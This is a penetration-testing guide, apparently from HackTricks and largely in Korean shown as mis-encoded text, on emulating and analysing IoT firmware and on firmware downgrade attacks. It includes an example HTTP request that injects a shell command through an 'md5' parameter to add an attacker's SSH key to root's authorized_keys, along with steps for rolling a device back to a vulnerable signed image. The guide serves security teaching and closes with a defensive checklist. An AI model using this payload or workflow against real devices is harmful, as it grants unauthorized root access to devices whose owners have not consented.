ํŽŒ์›จ์–ด๋ฅผ ์—๋ฎฌ๋ ˆ์ดํŠธํ•˜๋Š” ๊ณผ์ •์€ ์žฅ์น˜์˜ ๋™์ž‘ ๋˜๋Š” ๊ฐœ๋ณ„ ํ”„๋กœ๊ทธ๋žจ์— ๋Œ€ํ•œ dynamic analysis๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ ‘๊ทผ๋ฒ•์€ ํ•˜๋“œ์›จ์–ด ๋˜๋Š” architecture ์ข…์†์„ฑ์œผ๋กœ ์ธํ•œ ์–ด๋ ค์›€์ด ์žˆ์„ ์ˆ˜ ์žˆ์ง€๋งŒ, root filesystem์ด๋‚˜ ํŠน์ • binaries๋ฅผ Raspberry Pi์™€ ๊ฐ™์€ ์•„ํ‚คํ…์ฒ˜์™€ endianness๊ฐ€ ์ผ์น˜ํ•˜๋Š” ์žฅ์น˜๋กœ ์˜ฎ๊ธฐ๊ฑฐ๋‚˜ ๋ฏธ๋ฆฌ ๊ตฌ์„ฑ๋œ virtual machine์œผ๋กœ ์˜ฎ๊ธฐ๋ฉด ์ถ”๊ฐ€ ํ…Œ์ŠคํŠธ๊ฐ€ ์‰ฌ์›Œ์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฐœ๋ณ„ Binaries ์—๋ฎฌ๋ ˆ์ด์…˜

๋‹จ์ผ ํ”„๋กœ๊ทธ๋žจ์„ ๊ฒ€์‚ฌํ•  ๋•Œ๋Š” ํ”„๋กœ๊ทธ๋žจ์˜ endianness์™€ CPU architecture๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

MIPS Architecture ์˜ˆ์‹œ

MIPS architecture binary๋ฅผ ์—๋ฎฌ๋ ˆ์ดํŠธํ•˜๋ ค๋ฉด, ๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

file ./squashfs-root/bin/busybox

ํ•„์š”ํ•œ ์—๋ฎฌ๋ ˆ์ด์…˜ ๋„๊ตฌ๋ฅผ ์„ค์น˜ํ•˜๋ ค๋ฉด:

sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils

For MIPS (big-endian), qemu-mips is used, and for little-endian binaries, qemu-mipsel would be the choice.

ARM Architecture Emulation

ARM ๋ฐ”์ด๋„ˆ๋ฆฌ๋„ ๊ณผ์ •์€ ์œ ์‚ฌํ•˜๋ฉฐ, qemu-arm ์—๋ฎฌ๋ ˆ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

Full System Emulation

Tools like Firmadyne, Firmware Analysis Toolkit, and others, facilitate full firmware emulation, automating the process and aiding in dynamic analysis.

Dynamic Analysis in Practice

์ด ๋‹จ๊ณ„์—์„œ๋Š” ์‹ค์ œ ์žฅ์น˜ ํ™˜๊ฒฝ ๋˜๋Š” ์—๋ฎฌ๋ ˆ์ด์…˜๋œ ์žฅ์น˜ ํ™˜๊ฒฝ์„ ์‚ฌ์šฉํ•ด ๋ถ„์„์„ ์ง„ํ–‰ํ•ฉ๋‹ˆ๋‹ค. OS์™€ filesystem์— ๋Œ€ํ•œ shell ์ ‘๊ทผ์„ ์œ ์ง€ํ•˜๋Š” ๊ฒƒ์ด ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. ์—๋ฎฌ๋ ˆ์ด์…˜์€ ํ•˜๋“œ์›จ์–ด ์ƒํ˜ธ์ž‘์šฉ์„ ์™„๋ฒฝํžˆ ์žฌํ˜„ํ•˜์ง€ ๋ชปํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ๊ฐ€๋” ์—๋ฎฌ๋ ˆ์ด์…˜์„ ์žฌ์‹œ์ž‘ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋ถ„์„ ์‹œ filesystem์„ ์žฌ๊ฒ€ํ† ํ•˜๊ณ , ๋…ธ์ถœ๋œ webpages์™€ network services๋ฅผ ๊ณต๋žตํ•˜๋ฉฐ, bootloader ์ทจ์•ฝ์ ์„ ํƒ์ƒ‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. firmware ๋ฌด๊ฒฐ์„ฑ ๊ฒ€์‚ฌ๋Š” ์ž ์žฌ์  ๋ฐฑ๋„์–ด ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

Runtime Analysis Techniques

๋Ÿฐํƒ€์ž„ ๋ถ„์„์€ ํ”„๋กœ์„ธ์Šค๋‚˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ทธ ์šด์˜ ํ™˜๊ฒฝ์—์„œ ์ƒํ˜ธ์ž‘์šฉํ•˜๋ฉด์„œ ์ˆ˜ํ–‰ํ•˜๋ฉฐ, gdb-multiarch, Frida, Ghidra ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด ์ค‘๋‹จ์ (breakpoints)์„ ์„ค์ •ํ•˜๊ณ  fuzzing ๋“ฑ ๊ธฐ๋ฒ•์œผ๋กœ ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค.

Binary Exploitation and Proof-of-Concept

์‹๋ณ„๋œ ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ PoC๋ฅผ ๊ฐœ๋ฐœํ•˜๋ ค๋ฉด ๋Œ€์ƒ ์•„ํ‚คํ…์ฒ˜์— ๋Œ€ํ•œ ๊นŠ์€ ์ดํ•ด์™€ ์ €์ˆ˜์ค€ ์–ธ์–ด๋กœ์˜ ํ”„๋กœ๊ทธ๋ž˜๋ฐ ๋Šฅ๋ ฅ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ž„๋ฒ ๋””๋“œ ์‹œ์Šคํ…œ์—์„œ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ๋Ÿฐํƒ€์ž„ ๋ณดํ˜ธ๊ฐ€ ๋“œ๋ฌผ์ง€๋งŒ, ์กด์žฌํ•  ๊ฒฝ์šฐ Return Oriented Programming (ROP) ๊ฐ™์€ ๊ธฐ๋ฒ•์ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Prepared Operating Systems for Firmware Analysis

Operating systems like AttifyOS and EmbedOS provide pre-configured environments for firmware security testing, equipped with necessary tools.

Prepared OSs to analyze Firmware

  • AttifyOS: AttifyOS is a distro intended to help you perform security assessment and penetration testing of Internet of Things (IoT) devices. It saves you a lot of time by providing a pre-configured environment with all the necessary tools loaded.
  • EmbedOS: Embedded security testing operating system based on Ubuntu 18.04 preloaded with firmware security testing tools.

Firmware Downgrade Attacks & Insecure Update Mechanisms

Even when a vendor implements cryptographic signature checks for firmware images, version rollback (downgrade) protection is frequently omitted. When the boot- or recovery-loader only verifies the signature with an embedded public key but does not compare the version (or a monotonic counter) of the image being flashed, an attacker can legitimately install an older, vulnerable firmware that still bears a valid signature and thus re-introduce patched vulnerabilities.

Typical attack workflow:

  1. Obtain an older signed image
  • Grab it from the vendorโ€™s public download portal, CDN or support site.
  • Extract it from companion mobile/desktop applications (e.g. inside an Android APK under assets/firmware/).
  • Retrieve it from third-party repositories such as VirusTotal, Internet archives, forums, etc.
  1. Upload or serve the image to the device via any exposed update channel:
  • Web UI, mobile-app API, USB, TFTP, MQTT, etc.
  • Many consumer IoT devices expose unauthenticated HTTP(S) endpoints that accept Base64-encoded firmware blobs, decode them server-side and trigger recovery/upgrade.
  1. After the downgrade, exploit a vulnerability that was patched in the newer release (for example a command-injection filter that was added later).
  2. Optionally flash the latest image back or disable updates to avoid detection once persistence is gained.

Example: Command Injection After Downgrade

POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0

์ทจ์•ฝํ•œ(๋‹ค์šด๊ทธ๋ ˆ์ด๋“œ๋œ) ํŽŒ์›จ์–ด์—์„œ๋Š” md5 ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์ž…๋ ฅ๊ฐ’ ๊ฒ€์ฆ ์—†์ด ์…ธ ๋ช…๋ น์— ์ง์ ‘ ์—ฐ๊ฒฐ๋˜์–ด ์ž„์˜ ๋ช…๋ น ์ฃผ์ž…์„ ํ—ˆ์šฉํ•˜๋ฉฐ(์—ฌ๊ธฐ์„œ๋Š” SSH ํ‚ค ๊ธฐ๋ฐ˜์˜ root ์ ‘๊ทผ ํ—ˆ์šฉ), ์ดํ›„ ํŽŒ์›จ์–ด ๋ฒ„์ „์—์„œ๋Š” ๊ธฐ๋ณธ ๋ฌธ์ž ํ•„ํ„ฐ๋ฅผ ๋„์ž…ํ–ˆ์ง€๋งŒ ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œ ๋ณดํ˜ธ๊ฐ€ ์—†์–ด ์ด ํŒจ์น˜๊ฐ€ ๋ฌด์šฉ์ง€๋ฌผ์ด๋‹ค.

๋ชจ๋ฐ”์ผ ์•ฑ์—์„œ ํŽŒ์›จ์–ด ์ถ”์ถœํ•˜๊ธฐ

๋งŽ์€ ๋ฒค๋”๋Š” ์•ฑ์ด Bluetooth/Wi-Fi๋ฅผ ํ†ตํ•ด ๊ธฐ๊ธฐ๋ฅผ ์—…๋ฐ์ดํŠธํ•  ์ˆ˜ ์žˆ๋„๋ก ๋™๋ด‰ ๋ชจ๋ฐ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์•ˆ์— ์ „์ฒด ํŽŒ์›จ์–ด ์ด๋ฏธ์ง€๋ฅผ ๋ฒˆ๋“ค๋กœ ํฌํ•จํ•œ๋‹ค. ์ด๋Ÿฌํ•œ ํŒจํ‚ค์ง€๋Š” ๋ณดํ†ต APK/APEX ๋‚ด์˜ assets/fw/ ๋˜๋Š” res/raw/ ๊ฐ™์€ ๊ฒฝ๋กœ์— ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ ์ฑ„๋กœ ์ €์žฅ๋œ๋‹ค. apktool, ghidra, ๋˜๋Š” ๋‹จ์ˆœํžˆ unzip ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ๋ฌผ๋ฆฌ์  ํ•˜๋“œ์›จ์–ด๋ฅผ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  ์„œ๋ช…๋œ ์ด๋ฏธ์ง€๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋‹ค.

$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
firmware_v1.3.11.490_signed.bin

์—…๋ฐ์ดํŠธ ๋กœ์ง ํ‰๊ฐ€ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

  • update endpoint์˜ ์ „์†ก/์ธ์ฆ์€ ์ ์ ˆํžˆ ๋ณดํ˜ธ๋˜์–ด ์žˆ๋Š”๊ฐ€ (TLS + ์ธ์ฆ)?
  • ์žฅ์น˜๊ฐ€ ํ”Œ๋ž˜์‹ฑ ์ „์— ๋ฒ„์ „ ๋ฒˆํ˜ธ ๋˜๋Š” ๋‹จ์กฐ์  ๋กค๋ฐฑ ๋ฐฉ์ง€ ์นด์šดํ„ฐ๋ฅผ ๋น„๊ตํ•˜๋Š”๊ฐ€?
  • ์ด๋ฏธ์ง€๊ฐ€ secure boot ์ฒด์ธ ๋‚ด๋ถ€์—์„œ ๊ฒ€์ฆ๋˜๋Š”๊ฐ€ (์˜ˆ: ROM ์ฝ”๋“œ์—์„œ ์„œ๋ช…์„ ํ™•์ธ)?
  • userland ์ฝ”๋“œ๊ฐ€ ์ถ”๊ฐ€์ ์ธ ์ •ํ•ฉ์„ฑ ๊ฒ€์‚ฌ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š”๊ฐ€ (์˜ˆ: ํ—ˆ์šฉ๋œ ํŒŒํ‹ฐ์…˜ ๋งต, ๋ชจ๋ธ ๋ฒˆํ˜ธ)?
  • partial ๋˜๋Š” backup ์—…๋ฐ์ดํŠธ ํ๋ฆ„์ด ๋™์ผํ•œ ๊ฒ€์ฆ ๋กœ์ง์„ ์žฌ์‚ฌ์šฉํ•˜๋Š”๊ฐ€?

๐Ÿ’ก ์œ„ ํ•ญ๋ชฉ ์ค‘ ํ•˜๋‚˜๋ผ๋„ ๋ˆ„๋ฝ๋˜๋ฉด ํ”Œ๋žซํผ์€ ๋กค๋ฐฑ ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค.

์—ฐ์Šต์šฉ ์ทจ์•ฝ ํŽŒ์›จ์–ด

ํŽŒ์›จ์–ด ์ทจ์•ฝ์  ๋ฐœ๊ฒฌ์„ ์—ฐ์Šตํ•˜๋ ค๋ฉด ๋‹ค์Œ ์ทจ์•ฝ ํŽŒ์›จ์–ด ํ”„๋กœ์ ํŠธ๋“ค์„ ์‹œ์ž‘์ ์œผ๋กœ ์‚ฌ์šฉํ•˜์„ธ์š”.

์ฐธ๊ณ ์ž๋ฃŒ

๊ต์œก ๋ฐ ์ž๊ฒฉ์ฆ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ